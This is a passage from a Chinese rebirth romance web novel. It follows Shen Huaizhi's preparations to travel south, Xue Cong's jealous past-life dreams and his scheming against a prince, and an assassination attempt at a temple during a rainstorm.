“李嬷嬷是祖母用了多年的老人,在处理内宅诸事上多有心得,到时候你如果不方面出面,尽可将李嬷嬷推出去,她会替你解决烦恼的。”老夫人谆谆教导道,“说到底那是你亲生父母,关系疏远冷淡可以,但绝不可留下不孝的名声,我是不指望能看见什么父慈子孝了,只要你能尽心为你父亲办事,让沈家来日更进一步,让你父亲能早日高升回京,你就是我们沈家的大功臣,但凡你有烦恼,祖母都会先一步替你解决。” “多谢祖母,”沈怀栀满眼感激道,“祖母放心,大事上我决不轻忽。” 祖孙两个协调好之后,在沈怀栀又去小青山时,老夫人将娘家亲人叫进了府里。 沈老夫人娘家姓周,在她年轻时还算有几分门楣,不然也做不到和沈家老太爷门当户对嫁进沈家,但随着家中无出色子弟顶立门楣,周家这些年早已逐渐没落,不如往昔。 但就是这样的周家,如今依旧有一个尚算出色的儿孙,只可惜,这份出色却不在才学之上,而是在…… “文钰,快来见过你姨祖母,”周夫人态度亲热的上前拜见老夫人,还不忘唤儿子,“你姨祖母往日最是疼爱你,还不快给她老人家磕头。” 闻言,走到厅堂中的年轻人双眼含笑的对老夫人行了大礼,“文钰见过姨祖母,望姨祖母身体康泰福寿双全万事顺心。” 老夫人看着眼前这个容貌俊秀的年轻人,神情复杂,虽然没有才学,但她这个甥孙,着实长了一张出挑的脸。 周文钰姿容文雅俊秀,皎如玉树,若是不开口,当真是一位翩翩浊世佳公子,只可惜,双眼太过清澈天真,一看就是容易被人骗的模样。 总之,周家为这个宝贝疙瘩也是操碎了心,怕他被人骗被人引诱,是千守万护,把人拘在了老家,生怕在帝京里招惹了哪家贵女的眼闹出什么事端来,毕竟,老家那里纵然守得严密,依旧有姑娘为了周家公子要生要死,闹出不少风波来。 有这么个金疙瘩在手,周家却从未想过要靠周文钰去攀附高枝,足可见家人对其护持疼宠之心了。 而就是这样的周文钰,是老夫人准备安排在沈怀栀身边陪她一起南下的关键人物。 她的好孙女日后如何关系到沈家的前程,从本心来讲,她是不舍得将人嫁出去便宜其他外人的,那既然人不能嫁在京里为沈家 助力,那肥水不流外人田,倒是可以考虑一下将人嫁回周家扶持母族,毕竟两家人也算一荣俱荣一损俱损。 便宜自己人总好过便宜外人,就是老夫人的真实想法,而她所选定的对象,正是周文钰。 将年轻人打发出去陪年纪尚幼的沈家姑娘们说话之后,老夫人同周母谈起了正事,有些内情纵然是亲人,也是要隐瞒的,但那些可以说的,她倒是尽数都同周母说了个明白。 “您老人家和二房那两位,当真愿意让七姑娘嫁进咱们家?”不得不说,沈怀栀确实是沈家条件最好最出挑的姑娘,这不,周母一听说老夫人有意让两个年轻孩子结亲,一双眼睛都亮了。 “我是这么想的,”老夫人道,“不过栀姐儿那孩子主意正,老二也不见得能做她婚事的主,所以我想着让文钰陪着一同南下,对外就说是出外游学,也能多些实务历练。” “文钰品行好,容貌佳,性情也好,这表哥表妹的日日相处下来,若亲事能成最好,就算不能成,日后也有几分香火情,对周家也好,另外,我还准备让大房的文远一同南下,正好打个遮掩。” “您老人家费心了,”周母满脸感动的道,“放心,我肯定教好文钰那小子,绝对不让他惹七姑娘生气。” “那倒不必,”老夫人拦住人,“文钰天性自然纯稚,就让他们年轻人由着性子相处吧,你我多加干涉反而不好。” 话说得好听,但内里其实不然,老夫人之所以这么做,无非是因为她发现了沈怀栀的偏好与忌讳,以周文钰的性情,顺其自然一些反而事半功倍。 至此,两家共同定下沈怀栀同表哥周文钰堂哥沈文远一同南下梧州的行程,对外只说是父母想念儿女,想要孩子嫁在身边等等,好歹算是搪塞了外人的疑问。 *** 在沈家七姑娘即将南下梧州的消息传出前,薛琮先一步遇到了同表哥周文钰一起出门的沈怀栀。 不得不说,他们两人确实有非同一般的缘分。 薛琮今日本不过是应了同僚邀请出席宴请,便在赴宴中途遇到了相携而行的两人。 繁华街道两旁的商铺里,年轻男女你来我往言笑晏晏的模样刺眼极了,外人看来,可能会当做是亲眷相处,但薛琮清楚得很,沈家的亲戚里从无眼前这号人物。 且周文钰长相确实极其出挑,以致于大半条街道上的妇人姑娘们都忍不住或光明正大或偷偷观察,即便对方身旁站着另一个姑娘,也依旧挡不住大家欣赏美色的热情。 因着近日夜梦频频总是睡不好的缘故,薛琮今日难得没骑马,而是坐了马车,他提前下车步行,在逐渐靠近那两人时,亲耳听到沈怀栀亲口叫了一声表哥。 他脚步顿了一下,不期然想到了一句早就被人说腻的老话—— 表哥表妹,天生一对。 沈家拒绝薛家的求亲,沈怀栀对陈理的示爱也毫不动摇,结果最后身边却多了个容貌出色的表哥? 他看着那两人相谈甚欢的模样,清楚的感知到如同梦中一般碳火灼心的滋味,那种感觉他已尝过太多遍,是嫉妒的滋味。 于是,他就这样干脆的临时毁约,跟在那两人身后去了另一家方向相反的酒楼。 “姨祖母应该会很喜欢这幅绣画,”周文钰笑道,“她老人家小时候在故地长大,肯定留有不少美好回忆,如今多年过去,乍然见到这酷似家乡景象的绣画,心情一定不错。” “多谢表哥帮忙出主意,”沈怀栀道,“要不是表哥,我还要思虑许久。” 在讨老夫人欢心上,沈怀栀着实没什么天分,当然,她也不见得想有这种天份,今日出门时临时在路上遇到周文钰,没想到随口一问竟问出了个惊喜。 因此后来两人一路转道绣坊,托周文钰对祖母老家分外熟悉的福,沈怀栀终于定下了一份极其契合老夫人心意的礼物。 好歹也是自己日后能在南边得享自由的靠山,沈怀栀还是愿意为老夫人花费些许心力的。 作为酬谢,沈怀栀请了周文钰吃饭,当然,也是因为之后南下两人要长久同行,多少也有打好关系以减少麻烦的意思。 幸好,周文钰和祖母极其不像,性情和容貌一样怡人,沈怀栀对此还算满意,须知,她并不想要一个拖后腿找麻烦的同伴,若是这样,她宁愿一个人率先独自启程。 用过饭后,两人彼此告别,沈怀栀刚准备去西市淘换一些新奇的植物种子,就同薛琮不期而遇。 对方的嘲讽来得极快,“沈姑娘那位表哥,容貌当真不错,看你们两人的相处,似乎对方容貌与性情都极合沈姑娘心意。” 这是说她见一个爱一个,怀疑周文钰是她新的变心对象了? 被嘲讽的沈怀栀只觉得薛琮这话说得格外可笑,因此她毫不客气的当场反讽了回去,“我和世子既然毫无干系,就不必随意评判对方的人生了吧?” “至少,无论我嫁谁,都和世子毫无关系,世子娶谁,我也毫不关心,”她笑着道,“咱们最好形同陌路,日后少接触来往的好,以免他人误会。” 说完,她还极为真心实意的道,“我真诚祝愿世子婚事顺遂,早日娶得贤妻。” 无意纠缠的沈怀栀是半点不肯多留,说完就走,将神色凝重的薛琮甩在了身后。 晚间,因着白日里看到了沈怀栀风流多情的一幕以致于难以顺利安眠的薛琮,从下属那里听到了令他惊讶的消息。 “你是说,五皇子有意纳沈怀栀为侧妃?” 不用看,只听声音就知晓自家世子动了真怒的下属,将调查到的一切尽数告知,当然,还有沈家人为沈怀栀筹备南下行程的消息。 “侧妃……南下……”薛琮低声重复着这两个堪称平地惊雷的消息,抬手捂住疼痛不已的额头,心中恼怒更甚。 本来这些日子他就头痛频频,只要想到沈怀栀这个人就气血翻腾,心绪不受控制,此时再来这一遭,情绪更是跌到谷底,以致于他不得不接连饮了三份汤药,才控制住这份不适。 然后,自这天夜里起,一切都开始变得不同。 第33章 第33章—— 薛琮最近已经很不喜欢做梦,但偏偏,梦境总是如约而至。 临睡前,他还在恼怒沈怀栀疑似另有新欢的风流薄幸,厌恶五皇子的痴心妄想,心情着实称不上愉快。 因为关注沈怀栀,派人盯着沈家,所以知晓了五皇子妃在派人打听沈怀栀的消息,随之引出了五皇子对她的觊觎,以及她准备离京南下的消息。 这下,薛琮终于确定沈怀栀是认真的,不管是拒婚薛家还是拒绝陈理,恐怕自她冷待他那天起,就早已打定了主意,所以,后来发生的这许多事才能说得通。 因为心知此后和他们天南海北远隔千里,说不定还再无相见之日,所以言语行事处处不留余地,干脆利落的将一切麻烦快刀斩乱麻。 薛琮想,对沈怀栀来说,他也确实是需要被处理的麻烦。 如果说在未曾知晓这个消息之前,他觉得她是红颜祸水,是招致他心绪不稳与朋友反目的根源,但在知晓她即将抛弃所有人南下之后,她在他心里,就成了一个解不开的死结。 至于引来高位者觊觎,反而是那些纠结不甘之中最微不足道之事。 可偏偏就是他认为无关紧要的五皇子,却成为了他这天梦里的关键人物。 不被薛琮所喜的梦境里,他以身临其境的旁观者身份以及沈怀栀夫君的身份,亲眼见证了五皇子登基为帝后对臣妻的觊觎。 本不过是一场平平无奇的日常宴会,却成为了这桩麻烦的开端。 那时候的他应该庆幸,帝王对臣妻的觊觎是在他被解除兵权回京之后,如果是早几年他镇守边疆之时,纵然身边有陈理相护,沈怀栀也不一定能安然无恙。 所以,除去从前积怨已久之外,后来他同新帝之间斗得水火 不容,很难说没有沈怀栀的缘故。 他自然是不会将妻子让出去的,即便对方是主宰众人生死的一国之君,而退一万步来说,哪怕是沈怀栀自己愿意,他都不可能将她拱手相让。 梦里旁观了一切的薛琮想,他之所以能那么干脆利落的耍手段弄死皇帝,很大一部分原因是对方触到了他的逆鳞。 在意识到新帝是以什么样的眼神在看他的妻子时,毫无疑问,他就已经起了杀心。 争权夺势的野心固然重要,但人总有不能妥协退让的逆鳞,显然,对梦里的他来说,沈怀栀就是那片逆鳞。 谋夺臣妻的帝王本就毫无羞耻之心,你自然不能奢望他不用下作手段,宫宴之上的设计陷害,御花园里宫女的蓄意勾引,对方的每一步都在离间一对本就不那么互相信任的夫妻,既是故意玩弄作乐,也是别有所图。 甚至于在这样博弈较量的过程中,他可笑的发现,那位行事恣睢的帝王,对他的妻子竟然是有一二分真心的。 就像他的好友陈理那样,在帮友人照顾妻子的过程中,生出了不清白的妄念。 一时间,薛琮竟觉得自己的生活分外可笑,似乎除了他之外,他周遭的任何一个人都在图谋着只属于他的妻子。 如果说对于屡次护持沈怀栀度过险境的陈理他不能如何的话,那深宫之中的皇帝,他就没有丝毫顾虑了。 对方觊觎他的妻子,他自然也不介意送这位刚愎自用的帝王一顶绿帽子,只能说,那时已成为闲王的八皇子对亲生兄长的怨恨与贪婪早已到达顶点,可谓是很痛快的答应了同他联手,给他那位好兄长添堵。 就这样,深宫之中多了一对暗度陈仓的男女,那时位居嫔位的李玉瑶同八皇子借着宫中密道日日私会,待李玉瑶有孕的消息传出,薛琮知道,他等了许久的机会来了。 应该庆幸,李玉瑶生下的是男孩,不必要他再另外动手狸猫换太子,就这样,他与八皇子联手,一同为行事荒唐不得人心的帝王敲响了丧钟。 新帝变先帝,并不算一件太麻烦的事,毕竟对方这几年本就迷恋所谓长生术酷爱服用丹药,史书上因为服用丹药而死的皇帝他不是第一个,也不会是最后一个。 唯一可惜的是,他没能亲自动手,送这位荒唐皇帝上路早登极乐。 至于他那位野心勃勃的同盟八皇子,从前连志大才疏的亲兄长都斗不过,更别提早有后手的薛琮,于是,先帝薨逝后不久,闲王八皇子因心痛兄长早逝,也郁结于心早早离了人间。 算起来,这本该是结局极为畅快的一场斗争,如果中途,他没有被变心的沈怀栀背叛的话。 新帝尚且没有往生极乐之时,有次或许是丹药吃多了药性上头,竟趁着宫中夜宴想要对沈怀栀暗中下手,借机一亲芳泽,幸好他早早发现对方图谋不轨,一路力挽狂澜,将中了春药的沈怀栀救下带走,而也是这次意外,让李玉瑶这个野心勃勃不择手段的女人第一次进入他的眼帘,也才有了之后她同八皇子之间的偷梁换柱。 但那时的他是根本不在意趁机亲近皇帝的人是谁的,他只想亲手将皇帝变成哑巴和太监,好让那张恶心的嘴里再也念不出沈怀栀的名字,再也无法对沈怀栀生出邪念。 被他亲手救下的人自然是根本注意不到这些的,她被药性控制,狼狈的躲在他怀里,像是被雨水淋湿的小鸟那样,寻求着他的庇护与疼爱。 原本这该是一场完美的英雄救美的,他救下她,她投桃报李,成为他怀中待享用的猎物,狭窄黑暗的密道之中,被燃起的火焰应该是炽烈的暧昧的,而不是突然让他亲耳听到那句冰冷至极的话。 躲在他怀中的妻子,亲口对着他说—— “怀逸……救我……” 薛琮觉得,这应当就是背叛了,在他为了保护她不择手段之时,她心中想到的信任的,竟然是另一个男人。 再没有比这更可笑的事情了。 于是,从那一刻起,他清楚的意识到,沈怀栀那颗心里,装的不再是他。 而他,开始对她产生憎恨,即便她看起来十分清白无辜。 第34章 第34章—— 梦醒的薛琮,清晰的记得梦中的所有,他阴沉着脸,品味着心底此刻再鲜明不过的强烈情绪,那是对沈怀栀的爱恨交加与情难自控。 如今他早已懒得去想这些梦境出现的原因与意义,那种东西已经完全不重要,他只需要知道的是,沈怀栀,他不会放手,而有些令人讨厌的人,既然已经走上了和梦中一样的道路,那自然也应该得到和梦中一样的待遇。 比如五皇子,梦里觊觎臣妻,梦外想要将沈怀栀纳为侧妃,他十分不介意先下手为强。 即便动手的原因不过是因为一个荒谬的梦境。 他的头又开始隐隐作痛了,薛琮按着胀痛的太阳穴,冷声唤来心腹,决定先给五皇子找点麻烦。 大概是从这一天开始,原本诸位皇子之中外家得力为人骄狂的五皇子开始诸事不顺,朝堂上屡屡被来自多方势力的臣子弹劾,内宅则闹出了小妾偷人的丑事,从前经办的诸多差事更是接连出现纰漏,如此内忧外患之下,就算圣人待这个儿子一向宽纵,也在接踵而至的事端里没了耐心,更别提这个野心勃勃的儿子一直不曾歇了觊觎皇位的心思。 到底,爱子之心是敌不过帝王权欲之心的,刻薄的猜忌与无情的打压既然从前能害得皇长子与二皇子彻底隐退,自然也能压制得五皇子难以翻身,且论及夺位的实力,五皇子犹且不及当年的太子实力雄厚声势浩大,因而自此之后声势衰微也是理所当然。 如果这还不算糟糕的话,当原本疲于奔命的五皇子突然遭遇来自亲兄弟九皇子的背叛,这混乱局面可谓是瞬间一发不可收拾了,而九皇子本人也趁此机会另举大旗,成为夺位之争里新近崛起的一股新势力。 这种情况下,有关五皇子的热闹自然成为了近日帝京里大家热议的新话题,而五皇子本人,在此种情况下不得不暂时蛰伏下来,摆出了安分守己的做派,至于此前被他格外关注的沈怀栀,大局当前,自然也只能暂时被抛之脑后。 至少,听闻消息的五皇子妃本人是松了一口气的。 而此次一手操控了整件事情走向的薛琮,正在复盘自己的手段。 他清楚的察觉到,现在的自己和从前的自己之间有着巨大的不同,如果说从前的他也能做到如今这些事的话,但绝对不会像现在这般手段老辣游刃有余,仿佛他浸淫权势名利场已久,轻易就能剖丝剥茧直达核心一击毙命。 所以,现在的他当然是有些异常的,但那份异常,他能接受,且并不讨厌。 天生道德底线不那么高的人轻易就知道该如何接纳不那么完美的自己,恰好,他天性似乎就非常擅长此道。 在薛琮干脆利落的清除掉一位讨厌的竞争对手时,沈怀栀的南下之行已经即将准备妥当。 最终的启程日期定在四月二十三,在距离出发还有三天时,她难得有了一次闲情逸致,出门去京郊的一家寺庙观云寺祈福。 因为不想遇到一些不速之客影响出发前的好心情,所以她精心挑选了寺庙的位置,观云寺不算偏僻,论名声在京里京外大约只能说是名不见经传,因为不是往日里那些常去的香火鼎盛的大庙,所以看起来多少有几分清冷,但即便如此,庙里也还是有一些香客登门的,虽然仅数量来说,只能称作寥寥。 庙里的住持慈眉善目,在沈怀栀捐了一大笔香油钱之后,一路格外贴心的带领弟子们为她准备开光祈福的福牌,并点了好几盏长明灯。 沈怀栀一一写过牌位,写上只有自己能看明白的指代人名,然后诚心跪拜祈福。 南下之前,这应当是她要做好的最后一件事了,至于其他事情,都已经早有安排,除去她尚不知 该如何告别的陈理,一切都已经是她重生后想要的最好模样。 这样的一天本该顺利结束,如果不是天气突然出现变故的话。 一众人在出了大雄宝殿之后,亲眼见证了天色的骤然变化,倏忽之间暗下来的天色让本就幽静的寺庙显得更加空寂,仿佛声音大一些都能在林间激起回音。 “天色不太好,看样子是要下雨了,”冬青有些担忧的道,“姑娘,恐怕咱们今天不好下山了,就算下山,怕是也不好赶路回京城。” 因为是专门挑选出来想要避开人的偏远寺庙,位置本就有些远,路虽然好走,但一旦遇到恶劣天气,赶路肯定是极不方便的,所以,最大的可能就是她们今天要在此过夜了。 幸好出门前专门带了护卫,沈怀栀想,当然,怀中的匕首她也不曾忘记。 “今天暂时走不了的话,就拜托主持给我们准备客房歇息吧,”沈怀栀看看黑沉天色以及庙里其他一众被迫停留的香客们,想了想道,“庙里地方还算大,多添些香油钱,晚上用过晚饭后就早些休息,另外让护卫安排好守夜的事,咱们出门在外,万不可出纰漏。” “都听姑娘的。”很快,冬青和庙里的僧人们商量好了一应停留事宜,无论是客房还是膳食热水等,待一切准备妥当后,外面天上乌黑如墨的云层早已黑沉沉往下压。 当天际一道闪电划破整个天空时,紧随而来的惊雷声瞬间炸出巨大动静,林间似乎有树木被雷火击中,即便离得很远,也能看到林间横飞的枝桠与跃动的火光。 这样大的动静不止镇住了看到的人,也让寺庙中被迫停留的十几位香客们吓得惊叫出声,众人一边惊慌失措一边担忧雷火袭击寺庙,吵嚷之中闹出了不小动静。 住持与僧人们尽量耐心的安抚着躁动的香客们,当这份安抚刚行之有效时,接踵而至的二次雷击瞬间让之前的所有努力付诸东流。 蓄势已久的黑云里砸下无数雨点,树林间拔地而起的狂风里,夹杂着零落林火,成就了一场疾驰而至的暴雨。 雷电交加的暴雨之下,离开再无可能,停留在寺庙里的香客们心惊胆战的等待着雷停火消,春日里下暴雨不可怕,可怕的是不知何时会来与不知会击到何处的雷火,幸好今日雨势足够大,没让林间的山火蔓延,这大约是众人唯一能安慰自己的好事了。 等到雷声终于如众人期盼的那样彻底消失,大家总算松了口气,在哗啦啦雨声里回房安稳睡下。 雨声一向最为助眠,沈怀栀本该放心安睡的,但不知是不是她这会儿心浮气躁的缘故,躺在床上一直睡不踏实。 瓢泼大雨中,一些异样动静很容易就被遮掩,此时观云寺的后山里,正迎来了许多不速之客。 十几个身穿黑衣身手矫健的刺客们,在雨幕之中动作迅速的朝着观云寺后面的临山小筑而去,借着雨夜嘈杂动静掩饰声响。 即便此时已是深夜,临山小筑里依然有烛火跃动随风飘摇,白日里清幽雅致宁静自然的小筑,在这样一个密林环绕的漆黑雨夜里,因着林间偶尔振翅飞出的几只叫声嘶哑的乌鸦,竟显得有几分可怖起来。 飘摇烛火在窗纸上映出了屋内盘膝而坐念诵经文的人影,当黑衣人一刀戳破窗纸朝人影砍去时,这个雨夜就再也无法恢复安宁了。 袭击人的刺客剑锋遭遇了阻拦,小筑内有人横剑一跃而出,挡住了这份雨夜谋杀。 兵刃相交之声,隐于雨声之中,黑衣人下手毫不留情,小筑之内仅有的几名护卫且战且退。 雨声遮掩了这厢的动静,以致于求救根本无法奏效,等寺庙里众人被这边不断变大的喊打喊杀的动静惊醒时,这场雨夜截杀故事已经将将走到了结尾。 沈怀栀就是在这样的情形下,看到雨幕里同黑衣人对阵以致于满身伤痕的陈理的。 她多熟悉他啊,即便夜色深沉还有雨幕遮掩,她依旧一眼就认出了他。 这样的陈理毫无疑问触动了她最不愿回想的旧日记忆,以致于她几乎瞬间就高声喊出了那几个字,“去救人!” 护卫们听闻命令,却犹豫着没敢动,那些黑衣刺客身手不俗武功高强,他们这些普通护卫根本不是对手,尤其,他们身后还护着主家的小姐,不管是为了自己的性命考虑还是出于职责也好,护卫们的第一反应都是迟疑。 只可惜,他们的迟疑在今夜这样惊险的刺杀里,一点都不重要,有黑衣人注意到沈怀栀这边的动静,立刻和同伴联手调转方向转攻而来,不管是出于杀人灭口的目的,抑或者震慑阻止在场众人出手相助的目的,对方动手的动作都可谓是干脆利落毫不留情。 沈怀栀一直注意着陈理那边的动静,当看到他似是力竭被人围攻时,心中焦急再也忍耐不住,夺了一个护卫的武器就往那边跑。 她的理智已经完全被那惊险的一幕击溃了,竟是丝毫没注意到周围多了不少意外出现的援军,而陈理那副看似力竭的作态,更多的是以退为进引人上钩,并未真正陷入险境。 但无论如何,她这副下意识拼命去救的模样,早已被人完完全全的看入眼中。 听到沈怀栀声音的陈理再无半分故作虚弱诱敌的心思,他握紧手中的剑,逼退眼前的敌人,转身朝顶着风雨跌跌撞撞而来的姑娘跑去,他现在已经顾不上眼前这些刺客了,他更怕因为他的缘故害得沈怀栀遇险。 可能是因为突然而至的援军实力不俗,被围攻的刺客们此时早已顾不上完全是局外人的沈怀栀,让她寻到契机靠近了陈理。 她没看错,陈理确实伤痕累累,浑身上下都有血迹蔓延滴落,伴着雨水在地上汇成了一股血色细流,看得人心惊肉跳。 亲眼见到这一幕,仿佛多年前旧日噩梦重现,沈怀栀下意识就抓住了陈理那只没握剑的手,神情惊惶的紧紧握住,宛如惊弓之鸟一般,将人拽到身边紧紧护着。 可以说,此刻的她,任谁来看都是一副痴情女子拼死护心上人的模样,无论是在陈理眼里,还是在薛琮眼里。 被她护在身边的陈理神情异样,定定看着她挪不开眼,至于不远处带人前来营救六皇子的薛琮,也从未想过,会在这里看到这样一幅堪称梦境真实重现的可怖场景。 沈怀栀,果真如梦里那样,另有所爱了。 而这个人,毫无疑问,正是他的好友陈理。 即便她此前刚拒绝过他的求亲,也不影响她此时对他以命相护。 第35章 第35章“和你有关系吗?”…… 关于皇位的争夺,总是血腥且残酷的。 就像如今,随着圣人身体日渐衰弱,有心大位的皇子们针对彼此的手段愈发狠绝无情起来,不提五皇子与八皇子这对亲兄弟如今势如水火,单单只说八皇子本人,他不止对亲兄长下了狠手,对待自己那位据说偏好佛学一直在寺庙里修行的异母兄弟,也是出手就是绝杀,至于原因,仅仅是因为听说六皇子近日里私底下同早已退隐的皇长子有私交往来。 至于八皇子这个听说是从哪来的,在其中搅混水的薛琮可谓是功不可没。 但他没想到,八皇子派刺客夜袭观云寺刺杀六皇子,不止带出了六皇子的故交陈理,也惊出了平白遭遇无妄之灾的沈怀栀等人。 薛琮的本意是看一出狗咬狗的好戏,但六皇子其人,果真是咬人的狗不叫,给他准备了这么大一份惊喜。 毕竟,他不会当真以为陈理和沈怀栀同时出现在观云寺是偶然之举。 现在再看,所谓的寺庙祈福,研习佛法,果真另有深意,果然,趁早拉六皇子下水入局,是明智之举。 至于被成功算计的薛琮,也亲眼目睹了噩梦在现实中重现。 这场雨夜遇袭,最终以金鳞卫副统领薛琮率众救人为结尾成功落幕,至于那些死伤殆尽的黑衣刺客们,则是需要金鳞卫同六皇子操心的事情。 当沈怀栀在人群中看到薛琮与六皇子时,就已知晓现在是个什么情况,皇子们的争权夺利总会牵扯上许多无辜性命,现在,她不过是又变成了他们其中的一员而已。 至于陈理出现在这里的原因,他是这么说的,“我从前同六皇子有些 许交情,前两日他邀请我来观云寺出游,我应邀赴约,不巧遇上了今日这场意外。” 至于是真不巧还是假不巧,各人心知肚明,但今天突遭横祸的陈理虽然满身伤痕,但心情却意外的并不差。 处理刺客期间,无干人等都得到了妥善安排,陈理虽然事涉其中,但真论起来,他本人不过是恰逢其会的受害者,所以同金鳞卫那边沟通之后,沈怀栀带着人回了前面的客院,帮助包扎治伤。 这会儿山上并没有大夫,但观云寺主持医术还算尚可,因此暂时肩负了治伤救人的重任,被仔细检查过的陈理在确认浑身只有外伤后,不算危急的情况下,沈怀栀暂时负担了一部分包扎工作。 烈酒与金疮药撒上伤口的滋味并不好受,陈理虽然极力隐忍,但满头冷汗与难看面色摆在那里,谁都知道他此时难捱得很。 “嘴唇要咬出血了,”手上动作不停地沈怀栀轻声道,“虽然不指望你在我面前叫苦连天,但也不必忍成这样。” 说着,她找出身上匕首,从上山携带的包袱里找出一件干净衣裳,两刀下去,弄出了一块干净布料,然后仔细叠好递到陈理手边,在他此时因为伤痛已经变得莹润润湿漉漉眼神里,抬着下巴示意了一下,“咬着吧,不然我担心你明天牙根发疼,咬不动东西。” 陈理低声开口,迟而缓的道了声多谢,苍白面色因为不错的情绪多了几分血色。 手臂上的伤包扎完之后,接下来的伤处因为要坦露大片肌肤,这会儿却是不适合沈怀栀亲手处理的了,因此她将伤药和布料转交给护卫之后,就默默的出了客房。 她站在廊檐下,看着依旧漆黑深沉的夜色,眉心紧皱,眼前这一切曾经也在雨夜里发生过,不过那时陈理是为了护着她受伤,这次是为了护着六皇子罢了。 所以,似乎可以这样认为,没有她的影响,他的人生依旧不算太平。 如果她南下之后,陈理需要面对的就是这样的局面,那留他在京城,沈怀栀不觉得是个好主意。 “姑娘,陈公子的伤已经包扎好了。”一会儿之后,护卫前来回报结果。 “去庙里的厨房看看,能不能备些热水和食物,”沈怀栀道,“若是可以,最好准备些热食。” 这段日子天气本已经渐渐转暖,但今夜因为这场风雨,观云寺里湿冷沁人,对于伤者而言很不友好。 护卫领命而去,沈怀栀回房,在正闭目平复情绪的陈理对面坐下。 “再忍一忍,等天亮了送你下山,到时候条件会好一些,你可以安心养伤。”沈怀栀道。 闻言,陈理抬眼看她,纵然形容凄惨,一双眼睛里却洋溢着几分流光溢彩的笑意,在这昏暗且风雨交加的夜里显得格外动人。 注意到他的视线,沈怀栀淡淡道,“怎么这么看我?” “我只是觉得,在这里遇到七姑娘真巧,”陈理微微侧头笑道,显出两分俊俏的风流,“也幸好,能在这里遇到七姑娘。” “巧吗?我倒不觉得,”沈怀栀看他一眼,意味深长的道,“我只知道,六皇子殿下,消息未免太过灵通了一些。” 事实上,上辈子的沈怀栀对于参与夺位的几位皇子并不算太关心也不太了解,奈何她嫁的人是薛琮,由始至终都置身在这摊浑水里,所以耳濡目染之下,知道的事情难免多一些。 尤其是到夺位后期,整个薛家都被裹挟其中,薛琮人不在京中,她们这些家眷却不能幸免,那段时日,总要打起十二分的精神才能自保。 有关六皇子的事让陈理稍微沉默了一下,许久后他才轻声叹了口气道,“我以为,殿下是真心向佛。” 沈怀栀没说什么,既不安慰劝解也不同仇敌忾,只等着陈理自己消化情绪。 大家都是成年人,没必要来哄小孩子的那套,如果这点波折都经受不了,那也不是她认识的陈理了。 果然,没过不久,陈理那点淡淡的怅惘就尽数散了个干净,他对沈怀栀笑道,“既然道不同不相为谋,日后便只能分道扬镳了。” 沈怀栀应了一声,没说什么,依旧只安静的坐在一旁。 外面雨声哗哗,房中一片静寂,最后是陈理率先打破了这份安宁,他低声道,“七姑娘跑过来救我时,我看到了。” 那副拼命跑过来救他的模样,他想,不管是谁都会深受触动的,更别提她冲的是他。 于是,纵然今晚不是个好时机,也发生了意外,但陈理的心情实在是很好,因为他发现,她对他并不是无动于衷的。 甚至于他都想坦白的冒昧问上一句—— 你喜欢我,我也喜欢你,为何不能在一起? 毕竟,他并没有无知迟钝到看不清那份心意的地步。 但这些话他最终还是压下来没有说出口,只简简单单的问了一句,“为什么?” 沈怀栀不言不语,就那样坐在那里,没有就这个问题回答一字一句。 这态度显然很有问题,但陈理在一旁静静地看了许久,突然笑了,“既然不想说就不说吧,谁都有不愿意告诉别人的秘密,这没什么,我理解。” 所以,他选择尊重。 不想嫁我也可以,不答应亲事也可以,只要你一天不成亲,我就一天有希望,他最终这么觉得。 而此时的沈怀栀,终于回应了他,她说,“再过不久,我就要离京南下梧州了。” 突然听闻这个消息,陈理愣了一下,他问道,“那你日后还回来吗?” “可能回来,也可能不回来,”沈怀栀看着他,如实道,“我有自己想做的事,对帝京也没有那么深的眷恋。” 所以,言下之意是,有很大可能不会再回来。 闻言,陈理沉默良久,直到外面夜雨的动静渐渐变小,沉浸在思绪里的他才接上了她的话,“七姑娘,或许我们可以一道同行,因为,我近期也有打算要去南方游学赏景。” 明面上说是近期,但实则这个“近”到底有多近,他们两人心知肚明。 沈怀栀没说更多,像是一早就知道对方有这个计划似的,态度平静的接受了陈理的提议。 就这样,心怀默契的两人最后各自平静的相视一笑,算是达成了共识。 而此时的客房外,将一切悉数听入耳内的薛琮,则面无表情的握紧了手里的剑。 *** 雨势渐小之后,天色渐渐亮起,山上待命的金鳞卫将昨夜的刺杀事件尽数收尾之后,派人前来询问安置事宜。 考虑到陈理的伤情,沈怀栀建议对方尽快离开,有金鳞卫在,也有人帮忙搭把手,至于她,尚且还有些琐事并未理清,暂且需要再停留一段时间。 陈理虽然依依不舍,但到底明白轻重,在沈怀栀的劝说中答应下来,但临走前还是专门约好了时间,说是要一同谈论南下之事。 “七姑娘这次不会再突然更改注意拒绝我吧?”陈理有些担忧的问道。 “不会,”沈怀栀微微摇头,“如果你不改主意的话。” 那我肯定是不会的了,陈理脸上写着这句话,最后朝她粲然一笑,被人扶着离开了观云寺。 雨后的观云寺,在薄薄的阳光中被湿润雾气轻柔的笼罩,光线透过云层与树木间的缝隙,洒下点点莹光。 沈怀栀站在犹且一片湿润的石阶上,看着陈理一行人慢慢走远,在身后传来熟悉的脚步声 时,她轻声道,“这次的危险,是你引来的。” 或许只是猜测,但当她、陈理、薛琮和六皇子全都同时出现在同一件意外中时,她的直觉告诉她,这和薛琮不无关系,甚至于,他可能就是罪魁祸首。 薛琮没否认,也没说这是污蔑,因为就事实来看,纵然动手设计一切的人是六皇子,但导致对方如此行事的根源,不能说和他无关。 站在幽静神圣的寺庙前,薛琮看向沈怀栀,直言道,“我们谈谈。” 对上她的视线,他又加了一句,“只你和我。” 林间的空气里,弥漫着泥土和树叶的清新气息,沈怀栀在脚下湿漉泥泞的地上走了几步,确定周围无人打扰之后,在一棵海棠树下站定,这才不紧不慢的看向薛琮,“想说什么,你可以说了。” 薛琮定定的看着沈怀栀,眼前的她虽然是少女模样,却更像梦里历经一切后的她。 她站在那里,脊背挺直,目光清正,既可以说视他如无物,也可以说断绝情意之后郎心如铁,总之,他对她来说,是既不重要也无意义。 梦境与现实,终于成了同一种模样。 他久久不说话,沈怀栀对他耐心就没那么足,她问得直接,“世子如果没什么话要说的话,那恕我告辞。” “你要南下梧州?”薛琮在她离开前一刻开口,“同你周家的表兄周文钰,还有怀逸一起?” 沈怀栀没回答问题,反而回问道,“这和世子有什么关系吗?” 薛琮对这个问题充耳不闻,而是顺着心中所想直言不讳道,“如果说,此前我只是怀疑你对怀逸有好感的话,经过昨夜,我想,事实真相如何,我们彼此心知肚明。” 她那副拼命的模样,早已证明了她对陈理非同一般的感情。 沈怀栀一副丝毫不在乎薛琮说什么的模样,而是又认真的问了一遍,“这和世子有关系吗?” 